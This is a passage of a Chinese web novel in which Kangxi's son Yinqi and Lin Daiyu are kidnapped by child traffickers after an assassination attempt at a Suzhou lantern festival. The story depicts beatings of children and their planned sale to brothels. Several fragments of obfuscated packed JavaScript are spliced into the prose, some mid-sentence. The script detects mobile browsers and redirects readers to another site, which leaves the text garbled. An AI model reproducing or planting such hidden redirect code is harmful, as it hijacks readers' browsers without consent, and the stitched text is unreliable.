“好,都很好,快起来。”见到康熙和太子,皇太后乐得合不拢嘴,忙忙吩咐苏曼将宫中带出来的点心盛上来,又心疼地说道:“皇帝和太子今日累了一天,该早点歇着才是。” “皇玛嬷可不能偏心。”胤礽笑得风光霁月:“孙儿早便馋了您这儿的糕点,这下可得吃个尽兴。” 说着,胤礽从梅花攒盒里拿起一个金丝枣泥糕,吃了起来,皇太后来自草原,年岁也大了,喜爱吃重糖重油的食物,这点心吃起来很是甜腻,起码胤祺吃过一次后,再也不愿意吃了,胤祺佩服地望着太子面不改色地将一整块点心吞下:“还是皇玛嬷您这儿的东西好,可见孙儿没有来错。” 胤祺不知道的是,清宫中孩童吃得向来清淡,每日都是白粥小菜,认为这样才是养身之法,即使胤礽贵为太子也不例外,像他那样还嫌弃饭菜糖油过多,实在是奢侈的讲究。 皇太后笑得眼角的细纹都舒展开来:“我从宫中带出来的厨子,最擅长做这样的点心,既然你爱吃,晚些时候将他带过去伺候你,也是他的造化了。” “太子还小,怎敢夺您所爱。”还不等胤礽推辞,康熙立时便出言阻止,轻轻敲着太子的额头斥道:“朕那儿的东西,哪个是你用不得的,还眼巴巴地跑来撒娇。” “您的御厨,做出来的菜总是那几个味道,不如皇玛嬷这儿多矣。”胤礽面露不满,抱怨道。 胤祺坐在皇太后身后,对于这份父慈子孝大为诧异。胤祺知道太子受宠,但没想到是如此受宠。 在原身的记忆里,康熙是高高在上,威严不可侵犯的父亲,三两个月都难得一见,即使见到,父子情也很淡,只有例行请安问话,未见过这般慈父模样,更别说对康熙赐下的东西挑挑拣拣。 “就算你喜欢,到底也不能夺走皇太后的心头好。”康熙又瞪了眼胤礽,随后又笑着对皇太后拱手:“皇额娘您对太子的一片慈心,实在让人动容,但胤礽何德何能让您这么费心,要儿子看,您这儿每日剩下的那三两个糕点,给太子送过去便足够了。” “这是当人阿玛说的话吗?”皇太后佯怒:“皇上你对太子太严苛了,多好的孩子,不顾就是几块糕点,又费什么事。” 见康熙还要说话,皇太后接着说道:“你们的孝心我都知道,苏曼,你记着,以后每天都给太子送过去。” “谢皇玛嬷。”不等康熙言语,胤礽立时顺着话头,将事情定了下来。 这叫严厉?围观了全程的胤祺默默吐槽,康熙对太子的溺爱有眼睛的人都看得出来,为了让太子吃上心仪的糕点,又不落下坏名声,康熙对着皇太后都用上了计谋,更别说太子那副有恃无恐的骄傲模样,这不叫宠爱,什么才叫宠爱。 不愧是康熙亲自带大,心尖尖上的儿子。 胤祺由衷感叹,只是不知道,这对父子,后来如何走到那般地步,也是叫人唏嘘。 “明日朕奉您去猎场,今儿个天不早了,皇额娘您早点休息。”胤祺恍神间,也没听见康熙又和皇太后说了些什么,再回神,却只听见康熙告退之语。 青年皇帝领着太子离开,一高一矮的两人穿着黄色的衣服,越走越远,全没有日后的疏离。 “听见你阿玛说的吗?明儿个去猎场。”见着胤祺望着康熙背影的眼神,皇太后轻声叹了口气。 在康熙眼中,只有太子得他看中,对其余诸子明显没投入什么精力,最多也不过就是询问课业,虽然在世人眼中,这已经是合格的阿玛了,但比起事无巨细的关心,还是差了许多,胤祺伤心不是没有道理的。 倘若胤祺知道皇太后的心里想法,他一定会惊得跳起,先不说他已经不是真的小童,对于父爱并无执念,就说康熙养蛊一样的养儿子法,最得他看中的太子被逼疯,深寄厚望的大阿哥被圈禁,这份父爱,谁稀罕谁拿去。 但此时的胤祺,并不知道皇太后心中所想,他被皇太后的话吸引力注意力,好奇地询问:“猎场?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11917052|126999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐的爆鸣声的遮挡,人群中突然暴起数人,拿出刀对着人群中刺去,人们惊慌失措地到处狂奔,混在人中的侍卫急忙往康熙的方向赶,却被慌乱的人堵住了脚步。 正当街上乱成一团的时候,灯笼摊上的灯笼突然烧了起来,火焰飞快地从一个摊子传到一个摊子,整条街上都燃烧起来,黑烟滚滚,呛得胤祺连连咳嗽,其他人也没好到哪儿去,黑烟将视线全部挡住,只有那些早有准备的人,用青布将口鼻蒙住,拔刀向康熙和太子刺去。 有刺客!胤祺心中一惊。 此时情况很是危机,原先紧跟在身后的侍卫,本来就被这番变故打地措手不及,又见着数人向康熙和太子围攻而起,而他们是最近的侍卫,赶忙冲上去,死死地护卫住。 胤祺瞬间明白,康熙和太子深陷险境,此时已经没有人顾得上他们了,他必须要自救。 胤祺眼疾手快地将宝玉和黛玉拉住,避免三人在这慌乱中走散,此时康熙身旁已经被此刻包围,万不能回去,其他地方又到处都是火焰,还得躲着人群中时不时伸出来的冷刀,必须要找到一个安全的地方。 正当胤祺焦急寻找避难之所的时候,身后一个大手将他抱起,胤祺本来以为是侍卫终于腾出手来救他,却发现身后的人抱住他后,一言不发地急匆匆往远处走,宝玉和黛玉也同样被抱起,胤祺见着抱起宝玉和黛玉的人,更觉不对,他们身边没这几个人。 难道是人贩子?胤祺悚然一惊,被这个猜测吓出一身冷汗。 胤祺瞬间在来人的怀中挣扎起来,不断地用脚踢着来人的胸口,将那人踢的闷哼一声,差点没将胤祺抱住,见此,胤祺挣扎地愈发激烈,那人用更大的力气压制住,宝玉和黛玉见此,也忙挣扎起来,人贩子迅速地拿出帕子,捂住几人的口鼻,没多久,三人都软软倒下。 但这番动静到底还是引起了侍卫的注意,他们见着五阿哥几人被人抱住,吓得心神俱颤,但康熙身旁刺客越战越勇,早先安排在人群中侍卫却还被人群和火焰阻隔。 几个贴身侍卫对视一眼,咬咬牙,侍卫队长说道:“纳兰,你去将五阿哥救回来。” “是。”被叫做纳兰的侍卫且战且退,往胤祺的方向跑去。 见有人追来,那几个人贩子对视一眼,分成三个方向,飞快跑去,纳兰到底只有一人,他按着残留的印象,飞快定了方向,追了过去。 能被选为贴身侍卫的,都有几分本事,人贩子没跑多远,就被纳兰追上,他手中的刀脱壳而出,一刀便将人贩子的后背砍得鲜血四溢,失力地跪在了地上,手中抱着的人,自然也滚在了地上,无声无息。 “五阿哥,五阿哥。”纳兰颤声喊着,抖着手揭开面具,却只见面具下的人,并非五阿哥胤祺,而是甄家宝玉。 20.遇险 “抓刺客。”此时,隐身在人群中的侍卫,知府特意派来巡视的衙役,以及发现事有不对迅速过来的武将们都到了。 从大火燃起,再到刺客刺杀,胤祺被掳,护卫来临,说起来好像发生了好多事情,实际上不过是发生在瞬息之间。 围着康熙刺杀的那些人,自知时机已失,对视一眼,挥起手中的刀,呼喊着口号向康熙奔去。 刀剑齐挥,鲜血四溅,那些人全部倒下,只留下满脸的愤恨和不甘。 数息之前的人声鼎沸,富贵人间,转眼便成阿鼻地狱,只听见到处都是哀哀之声,大火仍在肆虐,为了躲避火舌的肆虐,略通水性之人全都跳入水中,苏州河里密密麻麻全是人头,而那些不懂水的,以及那些妇人小姐,只能掩着口鼻,仓促逃生,时不时便有人惊呼出生,随即便被火舌席卷。 康熙脸色铁青,这是对皇权的挑战,是对大清的挑战:“甄忠,你来灭火,林海,你领着人,再去人群中搜一圈,看是否有残党。” “遵旨。”康熙的声音如同粹了冰一般,甄忠和林海深知帝王的愤怒,对视一眼,便要忙去。 “至于你,”康熙冰冷的目光移到了姑苏知府身上,江知府膝盖依一软,滑跪下来,连连磕头:“万岁爷,臣有罪。” “哼,”康熙冷冷打量着江知府,将他履历捋过,知他虽然好大喜功,但确实是干吏,便给了个机会:“你还不快滚去安抚民众,还要朕教你做什么吗?” 江知府连连磕头,他知道眼前这关暂时过了,当务之急要将万岁爷交代的事儿办妥,说不准万岁爷能让他将功赎罪。 如此想着的江知府使了好几次力,终于从地上站了起来。 “万岁爷,五阿哥和林小姐被掳走。”正在这时,纳兰侍卫抱着甄宝玉匆匆跑来。 纳兰侍卫的这一嗓子,吸引了所有人的注意。 林海停住调人的动作,右手使劲揪着抱养得当的胡须,颤抖着声音询问:“纳兰侍卫,老夫年岁大了,连话都听不明白了,您刚刚所言,是说我的黛玉...” 剩下的话,林海没能说出口,但谁都看出他的伤心。 甄忠飞快的瞥过被纳兰抱在怀中的甄宝玉脸上,见他五官尚好,四肢正常,胸膛也有着起伏,终于安下心来,和康熙行了礼后,带着点出的人,头也不回地向火场冲去。 而江知府,明明是一个星光漫天的夜晚,却觉得天上好似又雷轰轰地劈下,直让他内心惊呼:“我命亡矣。” 就连一直被康熙牢牢护着的胤礽,都担心地惊呼出声。 康熙本就铁青的脸,变得更黑。 “说。” 从齿缝中挤出的字,任谁都能看出,帝王已经到了暴怒的边缘。 “请万岁爷惩罚。”纳兰将披风解开,在地上铺好,又将甄宝玉放在披风上,然后跪下来,和康熙回禀起胤祺被掳之事,就连贼人分别往三个方向跑,他追上去只救回甄宝玉的事也没掩瞒。 “梁九功。”康熙勃然大怒:“传朕旨意,立即封锁姑苏城门,调江南大营过来,挨家挨户的搜。” 林海突然直直跪了下去,神色颓败,较之前起码老了十岁:“万岁爷,五阿哥身份尊贵,万不能在姑苏城内出事,臣不才,对于姑苏城有几分了解,求万岁爷允许臣率队寻找。” 若是一般人,这般违抗圣命,康熙立时便要处罚了去,但见着林海那老泪纵横的模样,想着林海年过半百才得的女儿也在这事中失踪,康熙顿了顿,在这一瞬间,体会到了林海的爱子之心,叹了口气:“这事让明珠去办吧。” “谢万岁爷恩典。”林海重重地磕了一个头,额头上血痕和灰土混杂,好不狼狈,但林海却全然顾不上打理,匆匆点上人离开。 康熙被簇拥着回了甄家院子。 姑苏城里一片兵荒马乱,城中灯会上燃烧的火已经被人灭了,但城市并未安静下来,无数火把映在夜空,整片天空都成了不详的橘色。 远离山塘街的石头巷里,挨家挨户的敲门声还没有传到此处,青苔从巷口一路覆盖,污水在青苔上肆意横流,这条巷子里住着的都是在底层摸爬滚打讨生活的人物,那些给人浆洗为生的妇人们早已陷入睡眠,而那些想借着灯会赚些钱的人,也惊魂未定的回了家。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11917055|126999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在这巷子的最深处,是一个很大的院子,这院子本来是一个姓刘的鳏夫住的,然而刘鳏夫夫人未给他留下一儿半女的,等到年岁大了才从街上捡了个小乞儿收为义子,最后将这祖传的宅子留给了他。 然而那小刘子在行乞的时候,早便移了性情,等刘鳏夫一闭气,立时将那些不走正道的人都呼朋引伴的回来,伤天害理的事情做了个够,旁边的邻居也都在艰难求生,对着他们家进进出出的情况,只做视而不见。 胤祺和黛玉,就被人迷晕了,扔进了刘家厢房里。 胤祺在被重重扔在厢房地上的瞬间,便醒了过来,托皇太后教养方针的福,胤祺学业虽然不咋样,但身体素质绝对数一数二,很快从蒙汗药中清醒过来。 胤祺假装仍在昏睡,一动也不敢动,终于,重重地脚步声愈走愈远,嘎吱一声响,门又被重新关上。 睁开眼,胤祺在面具的掩护下,悄悄打量这间屋子,这间厢房不大,大概和宫中得宠点的宫女房间差不多大,但这不大的房间了,横七竖八地躺了好几个人,有男有女,瞧着年岁都不大的样子,许是觉着他们几个人不可能造成威胁,人贩子甚至都没用绳子将他们绑起来。 离他不远处躺着的人,脸上也戴着面具,这个面具胤祺格外熟悉,正是黛玉从她手中拿过去的那个,他心下一凉,难道真的一个都没有逃过吗?胤祺打起精神,仔仔细细再找一遍,唯一的好消息是,甄宝玉不在这儿。 胤祺环视四周,并没发现人监视,他忙站起来,轻手轻脚地走到黛玉身旁:“林妹妹,林妹妹,快醒醒。” 在胤祺不断地推动下,黛玉也从昏睡中醒了过来,她生在富贵锦绣之地,这辈子也没待过条件如此恶劣的地方:“这是哪里?” “是人贩子把我们掳过来了是吗?”短暂的惊慌过来,黛玉迅速冷静下来,她凑近胤祺的耳朵,轻声问道。 不愧是林妹妹,饶是生死关头,胤祺不由分出心神,暗暗赞叹,她这个年岁,就能做到遇事不慌,迅速冷静,实非一般人。 “林妹妹,冒犯了。”见黛玉明白了处境,胤祺告罪一声,靠近了黛玉。 21.困境(二合一) 黛玉感受到脸上传来的凉意,抬头望去,只见胤祺将掌心贴在她的脸上,不大的手心已经被冷汗浸湿。 “阿哥?”黛玉一直养在深闺,对于世情知之甚少,但她生性机敏,早已察觉到了不对,悄悄的改了发音,听着就像是江南这边在称呼兄长一般。 “嘘。”胤祺赶忙暗示黛玉别发出声音,免得招来恶人。 黛玉眨眨眼,乖乖地任由胤祺动作。 没多久,黛玉原本白玉般的脸上,便沾上了一条条的灰痕,瞧着很是狼狈。 胤祺醒过来,见着这一屋子孩子的瞬间,便反应过来,掳走他们的和刺杀康熙的不是同一拨人,刺杀康熙的是何许人他不知道,但掳走他和黛玉的,大概就是人贩子了。 对人贩子而言,弄到的孩子长得越好,利用价值越高,特别是女孩子,长相过于出挑绝非好事,那种脏地方最爱这种美人胚子,又舍得花钱,人贩子也乐意将人送去那里,一旦进了那些地方,一辈子就真的毁了。 之前掳人的时候,兵荒马乱的,还有人跟在身后追,人贩子没顾得上揭开面具,现如今已经回了巢,待吃饱喝足后还不知会做些什么。 因此,胤祺将手使劲往地上蹭,将黛玉和他都弄得狼狈不堪,能躲过一时算一时。 至于之后怎么办,胤祺其实并不太担心,这些日子已经足够他明白,封建社会的皇权能做到多少事情,再怎么说,他也是康熙的儿子,为了帝王的尊严,康熙也不会允许他就这么被掳走。更别说,他还有宜妃和皇太后这两个王炸在手。 这种人贩子,在愤怒的帝王面前,没有还手之力,他需要做的,就是在康熙派出的人找到他之前,保护好自己和黛玉。 黛玉眼中水汪汪的,含着一泡眼泪,却一直没有流下来,她明白了胤祺的意思,悄悄地挪动身子靠近胤祺。在这一瞬间,胤祺在她心中不再是那个被父母叮嘱,要小心讨好的天潢贵胄,反而带给了她无尽的安心。 胤祺汗涔涔的手下挪,紧紧握住黛玉的手,两人犹如幼兽,相互依偎着。 夜色已深,月亮冷冷地从云层后露了出来,半夜的风带着凉意从破烂的窗户中吹过,野狗时不时在巷子里吠叫两声,胤祺和黛玉又是累,又是惊,又是冷,又是饿,颤抖着睡不着觉。 “吱呀”一声,同样破破烂烂的房间门被推开,只见一个年方八九岁的女孩儿走了进来。 胤祺心头一跳,忙遮住黛玉的眼睛,自己也将眼睛闭上,只虚虚睁着一条缝打量着,好在夜色掩埋了许多动静,进来之人并未发现胤祺的小动作。 她蹑手蹑脚地走进屋子,又从提着的大篮子里找出几个粗布单子,给这屋子里的人盖住。 胤祺和黛玉在屋子靠里面的地方,这人走了一圈,最后才走到胤祺身旁,轻手轻脚地将单子盖在胤祺和黛玉身上,虽然单子依旧单薄,好歹遮了几分夜间的凉风。 趁机瞧去,只见这女孩儿年岁不大,长得却清理脱俗,眉心一点胭脂痣,更是平添几份风流,胤祺心头一跳,红楼本就是为闺阁女子立传之文,这般标致人物,在书中应有姓名才对。 人贩子,标致女孩儿,江南,几个因素叠加,胤祺眼皮一跳,心中有了猜测。 “谢谢姐姐。”胤祺突然睁眼,乖巧地道谢。 “不,不用谢。”女孩儿心善,见着夜间冷,担心这几个人被冻出病来,趁着她爹睡觉的时候偷偷过来给盖上单子,没想到居然有人是清醒的,当即便被吓了一跳。 英莲,也就是女孩儿,她忙环顾四周,唯恐惊动了谁去:“小公子且小些声,我爹现在睡着了,要是吵醒了他,可得遭罪。” “还请姐姐恕罪。”胤祺也学着英莲,将声音压得低低的:“我和妹妹在看着灯会,突然就到了这里,妹妹年幼,身子又弱,还请姐姐告诉我,这时何地?” 随着胤祺的话,黛玉眨巴着眼看过去,尽管脸上灰扑扑的,但双眼中流露出的惊慌与期盼,还是让英莲软了心肠。 “这是城南石头巷。”这话不知怎地便脱口而出,说完,英莲不可置信地捂住嘴:“我该走了,你们把这忘了吧,进了这里逃不掉的。” 说着,英莲打了个哆嗦,眼中全是恐惧,顾不上再说其他的话,匆匆离开。 “阿哥。”英莲走后,沉默着听着对话的黛玉将单子牢牢地罩在两人身上,“先裹上,不能着凉。” 说完,黛玉裹着单子,呆呆地望着窗外,忍了一晚上的泪水,默默地流了下来。 胤祺默默地给黛玉擦着泪:“妹妹别怕,皇,我阿玛一定会派人救我们的。” 黛玉抽抽噎噎地:“我们一定会没事的。” 单薄的单子到底还是能添上几分热意,胤祺和黛玉相互倚靠着,到底还是睡着了。 翌日,天光大亮,那一屋子的人也都醒了过来,身上的粗布单子早已不见,见着到了陌生的地方,好几个人都哇哇哭了起来,在嗷嗷地哭声中,胤祺醒了过来。 “妹妹。”胤祺眼睛都没睁开,手便往旁边伸去,摸到熟悉的温度,才放下心来。 “阿哥。”黛玉本来就觉轻,这番动静也将她吵醒,她用了握住胤祺伸过来的手,“我在呢。” “吵什么吵,大早上的扰人清梦,我看你们是不要命了。” “砰”地一身,本就破破烂烂的大门被人一脚踹开,只见门前站着一个凶神恶煞的汉子,正对着这一屋子的人怒目而视,这正是将胤祺掳走的那个人。 哭声短暂地停了一瞬,随即又更大声地响起。 “晦气。”那男的嘟囔一声,拿下腰间的马鞭,使劲往前一挥,靠门的那个孩子身上立即增了一道血痕,痛感让那孩子疼地在地上直打滚:“再哭,再哭就和他一样。” 一屋子的人噤若寒蝉,使劲止住哭声,只剩下收到惊吓的打嗝之声。 胤祺使劲攥着拳头,他知道此时不是他逞英雄的时候,就算他有着大清最英勇的巴图鲁当做骑射师傅,但他还是太小了,那人一只手便能将他制住。 该死的人贩子。 胤祺将牙咬得咯咯作响,眼睛由于愤怒变得通红。 等着,等康熙将我救出去,我要将你千刀万剐。 胤祺愤愤地想着,但此时的他,对于目前的情景却束手无策,只能用瘦小的身躯尽力将黛玉遮住。 好在,人贩子的此时的注意力不在那些被掳来的人身上,他见满屋子的人都被震住,满意地点着头,左摇右晃地回了正房。 没一会儿,便听见正房里传来他咆哮的声音:“英莲,人呢,死哪儿去了,还不做早饭,你是要饿死我。” “来了来了。”英莲连忙从左边的灶房里奔跑出来,端出一碗白米粥就三样腌菜。 男人一看,勃然大怒,直接将粥碗掀翻:“大早上的,连杯酒都没有,你是不是故意的。” 热粥直接倒在英莲的手腕上,没多久便通红一片。 英莲眼中含泪,捂着手望去:“爹您等等,女儿这便给您倒酒。”说着又跑去厨房,顾不上处理手上的烫伤,从酒坛子里呈出一壶酒,又打开旁边的坛子,夹出几碟下酒菜,那男人才满意地点头,拿着酒有滋有味的喝了起来。 英莲这才有功夫处理手上的残粥。 而这一切,都被靠着窗户的胤祺和黛玉瞧见,黛玉瑟缩一下,黛玉作为林海和贾敏的掌上明珠,她从不知道世间还有如此恶劣之人。 “阿哥,我想救她。”黛玉望着英莲,忍不住怜惜。 “好。”听见那男人喊出的名字,胤祺确认了他的猜想,这眉间一点胭脂痣的女孩儿,确实是红楼梦里的苦命人,英莲。 胤祺对于自己的计划,又多了几分把握。 “咚、咚、咚。”敲门声有节奏的响起,英莲忙慌乱地放下捂着手的帕子,小跑着将门打开,唯恐慢了点,又会遭到毒打。 从门外走来的人,瞧着便不是什么好人,黛玉见到,浑身一颤,从嗓子里挤出细细地声音:“阿哥,就是这个人。” “我知道,妹妹别怕。”走进来的,赫然是将黛玉掳走之人。 “刘少爷,你还有心思喝酒呢?”走进来的人脸上有个硕大的刀疤,他瞧见屋子的主人还在悠哉喝酒,恶声恶气地问道。 “大刀,你来了,你快坐下陪我喝一杯,这可是好东西。”刘仁,也就是被称为刘少爷的人拿起酒杯,滋溜一声,喝了口酒,眯着眼睛沉醉地说道。 “什么好东西不好东西的,昨儿个追上来的那人,瞧着就不是一般人,大齐可被他们抓了,到时候供出这儿,这酒你就下辈子等着喝吧。”大刀冷笑着,看也不看刘仁递过来的酒。 “呵,”刘仁被酒色沾染的眼睛愈发的浑浊,他不以为意的挥着手:“大齐的老娘,还指着我们照顾呢,他肯定不会吐口。” “更何况,”刘仁同样冷笑两声:“你还不知道那些当官的,姑苏城里现在可是有圣驾在的,灯会出了岔子,那些大人物已经胆战心惊了,谁敢再闹出事来,就算要找,也得等圣驾走了再找,那时候黄花菜都凉了。” 不得不说,这个姓刘的,瞧着暴躁易怒,但在时局的判断上,却出人意料的清晰,倘若他掳走的人里没有大清朝的五阿哥,即使将知府家的儿子掳走,在灯会已经闹出大乱子的情况下,知府绝对不会将孩子丢了的事情闹出来,这苦水只能往肚子里咽。 只能说,合该这几个人贩子死,他们在街上见着几个和大人走散的孩子随手一掳,就掳来了催命官。 当然,这是后话,此时的大刀沉默片刻,被刘仁的这番话说服,坐了下来,拿起桌上的酒一饮而尽。 “好酒!”他一滴不漏地将酒喝完,又用色迷迷地眼神瞧着英莲:“还是你这儿舒服,有酒有肉,英莲也长得越发出挑了。” 说着便毛手毛脚地要去碰英莲。 英莲低低垂着头,侧身躲过,刘仁手一伸,牢牢地将大刀的手扣住:“你给我注意点。” “这我可是要卖出大价钱的,你毁了她,别怪我和你翻脸。”刘仁死死地盯着大刀,眼中全是警告之色。 英莲本就难看的脸色,更是变得惨白,她的身子甚至轻轻颤抖起来。 除了一直紧盯着这边的胤祺,其他人都没有注意,当然,就算注意到了,也不一定在意。 “开个玩笑,开个玩笑。”大刀见刘仁这个样子,讪讪笑了两声,动作终于规矩起来。 刘仁大笑出声:“这才是好兄弟。”说着,又拿起酒杯,喝了起来。 最后一滴酒从壶中倒出,盘子中也变得盆干碗净,刘仁这才醉醺醺地搭着大刀的肩膀,走到了胤祺他们所在的屋子里。 “先看看这批货色怎么样。”刘仁浑浊的眼珠子打量着屋中的那几个小孩,他们是见着路边有落单的便掳了过来,也没有如何细看,因此,这屋子中的人,有穿粗布衣裳的,也有穿绫罗绸缎的,有长得憨厚的,也有容貌出众的。 “我爹是姑苏城里的大官,你们最好放了我。”离胤祺不远处的小胖子,强作镇定地嚷嚷着。 “大官是吧。”刘仁咧嘴一笑,露出一口的黄牙,他慢悠悠地走过来,随即一脚踢出去,这小胖子便如同他早先踢碎的门一般,从空中飞起,落到胤祺身旁,哇地一声吐出一大口血,随即便抽抽地躺了下去,不知生死。 这比早先挥鞭子还让人惊骇,屋子里瞬间连呼吸声都几不可闻。 胤祺悄悄伸出手去,借着衣袖的掩护,抓住那男孩的手腕,等摸着了脉搏,才放下心来。 “闹事的下场你们也见到了。”刘仁咧着张嘴,却比索命的恶鬼看着还要让人恐惧:“倘若不乖乖听话,下一个躺在那里的,就是你们。” 刘仁向挑猪肉一样的挑挑拣拣,几个孩子如同小鸡仔一般,害怕地缩成一团。 胤祺尽力用身子挡住黛玉,同样做出害怕的模样。 刘仁目光一个个扫过,到胤祺时,停下了一瞬,他反复打量胤祺和黛玉,那贪婪地眼神,让胤祺见着只想吐。 胤祺尽力冷静下来,在这个时候,唯有自救,他躬着身子,哆哆嗦嗦的抖着,和其他孩子别无二样,只不过有意无意间,将黛玉遮挡地严严实实。 刘仁咧开嘴角,犹如贪婪地饿狼,他的眼中闪着算计的光,将视线从胤祺身上移开,挑出两个看着最普通的人:“扬州有几家一直想要儿子,就他们吧。” “其他人呢?”大刀不满地说道。 “蠢货。”刘仁反手给了大刀一掌:“剩下几个资质瞧着都不错,好好调教几天,学些眼色高低,怎么都能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11917035|126999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去好地方。” 被这么扇了一掌,大刀也不生气,他对刘仁坏地流油的性格太了解了,这几年跟着他就没有吃亏的时候,他点点头,将两个男孩一手一个地拎起,大步往外走去。 刘仁嘿嘿笑了几声:“英莲,你找几套衣服给他们换上,再好好的洗干净,我瞧着,这里面有比你还强的呢。” 英莲深深低下头,见不到她脸上的神色,只能听见她恭顺答应的声音。 刘仁甩手进了屋子,没多久,便听见鼾声传了出来,英莲走进自己的小房间里,说是小房间,不过是厨房旁边用木板隔了个地方罢了,又打开柜子,最底层放着几套做工精良的衣裳,有男装亦有女装,这却是刘仁特意准备的。 刘仁做这人口生意也不是一天两天了,但凡有他见着不错的人,都会洗刷干净了,再换上好衣裳,送去不好的地方供人挑选。 是的,男女都是。胤祺到底还是对这个时代不够了解,此时男风盛行,城中不仅有青楼,也有专做男男生意的馆子。 只能说,胤祺还是太天真了,他以为护住黛玉便没事,殊不知,他那就算抹了灰尘依然精致的相貌,已经被刘仁一眼看中。 刘仁的决定,英莲不敢违抗,她想起之前穿过这些衣裳之人的下场,抖了抖身子,不忍地拿起来,走到了破旧的厢房之中。 厢房里,自从刘仁走了之后,被吓懵了孩子们眼泪哗哗地流下,记着刘仁说的话,没有一个人敢哭出声来,只有压低的啜泣声,以及低低叫爹娘的声音。 黛玉听着,也眼泪汪汪的,对黛玉而言,她从出生开始就没离开过贾敏,谁能知道,本以为是荣耀的拜见皇太后,竟然会落得这个地步。 胤祺到底成熟一些,他相信大清的官兵不会如此无能,他被找到不过是时间长短罢了,但按着刘仁那残暴的模样,等到官兵找过来时,他还能不能有个囫囵个,都是未知。 必须要想办法自救。 身旁躺着的脸色惨白,至今未醒的小胖子,给胤祺敲响了警钟。 英莲将衣服拿过来之时,正好撞见了一屋子哭泣的人。 “都先换上衣服好不好?”英莲不似刘仁的残暴,她将衣服一件件地送达各人的手中,温柔地劝着。 “姐姐,你来这儿多久了?”等到英莲将衣裳送到胤祺手中时,胤祺轻声问道。 “什么?”英莲晃了晃神,扔下一句:“我是这家的女儿。”胤祺在的地方,是屋子里最里面,英莲放下衣服,便想往外走 “可是姐姐你和那人长得半点也不像,姐姐这等人才,怎么是那样的人能生出来的。”胤祺使劲抓住英莲的手,凑在她耳边悄悄说道。 “姐姐难道不想回家吗?” 英莲呆立当地,晃神许久,不知想到了什么,眼中透出惶恐之色,她使劲地甩开胤祺的手,步履匆匆地走了出去。 “阿哥,这个姐姐真的不是这家的女儿吗?”一直默默注视着胤祺行动的黛玉,凑到他的耳边,悄悄问道。 “嗯。”胤祺肯定地点头:“我瞧她伸出手,手腕间除了红肿,还有着鞭打的伤痕,虎毒尚且不食子,真是父女又如何会下这般狠手。” “更何况,刚刚那人也说了,等再养几年,也要卖个好价钱。” 胤祺撇撇嘴,对于这种人贩子,他恨不得将他们千刀万剐了去。甄英莲本该有圆满的一生,却由于人贩子,成了薄命司中的一员,再也没有过过安生日子。 “阿哥觉得她能帮我们?”黛玉略一思索,便明了胤祺说那些话的意思。 “不一定。”胤祺露出苦笑:“我也不过是尽力而为,具体怎么做,且得看着。” 黛玉沉默了下来:“阿哥,没事的,别害怕。” 被黛玉安慰的胤祺哭笑不得,他侧过头,直直地盯着黛玉的眼睛,重重点头:“妹妹放心,不会有事的。” 刘仁在房间里醉醺醺地鼾声震天,英莲也不敢打扰,只站在厢房门口,呆呆地望着天空。 云从远方吹来,慢慢地将屋子上方覆盖住,将日头遮住,时间缓慢地流逝着,一个时辰很快过去, 刘仁终于睡醒过来,他大声嚷嚷着:“英莲,死丫头又去哪里了?” “爹,我在这儿呢。”英莲半点也不敢耽搁,飞快地跑去厨房,从灶里舀上一盆热水,送到刘仁的房里。 很快,刘仁便将自己收拾干净,又从柜子里找出一套新衣裳,将自己打扮地人模狗样的。 “我瞧着这次当有几个好苗子,英莲你要有人陪了。”刘仁说得意味深长。 胤祺费尽心思在他和黛玉脸上做出的伪装,在刘仁这种人面前,毫无作用,即使将整张脸涂黑,他一打眼也能看出,这人的五官模样以及日后能出落出何等模样,凭着这等相面“本事”,刘仁在一些地方是大名鼎鼎,日日吃香喝辣不在话下。 英莲一惊,她小时候的记忆已经模糊,但恍惚中记得,她以前不叫这个名字,也不是这个家的人,和她一道来的人早就被卖到不知何处了,这些年来,这院子里来了多少孩子,又有多少被卖走,当然也有被打的太厉害,直接破席子一卷扔走的,她知道,刘仁养着她,是想等她长开了,卖个大价钱。 按着刘仁骨头髓都要敲开吸干的样子,等过两年,她还不知要跳到哪个火坑里,去过那被苦汁子浸满的日子。 这些年来,刘仁从没动过再如她这般养个人的心思,用刘仁的话说,就是那些人也想用他的银子,简直做梦。英莲更加担心起来,也不知是谁倒了大霉,被刘仁看中。 英莲心中隐隐有了想法,这几个孩子她也都粗粗看过,窗户旁边角落里的那对兄妹,虽然脸上灰扑扑的,没有看到具体模样,但瞧着就是不俗。 “你去把那对兄妹收拾好,带到我这儿来。”果然,就如英莲所猜,刘仁看中的,也是那对兄妹。 英莲应了,慢吞吞地端着热水盆走到厢房里,在一众人惊恐地眼神里,她走到了胤祺和黛玉之前。 此时的胤祺和黛玉甚至连衣服都没有换,英莲弯下腰,从盆中拿出帕子:“得罪了。” 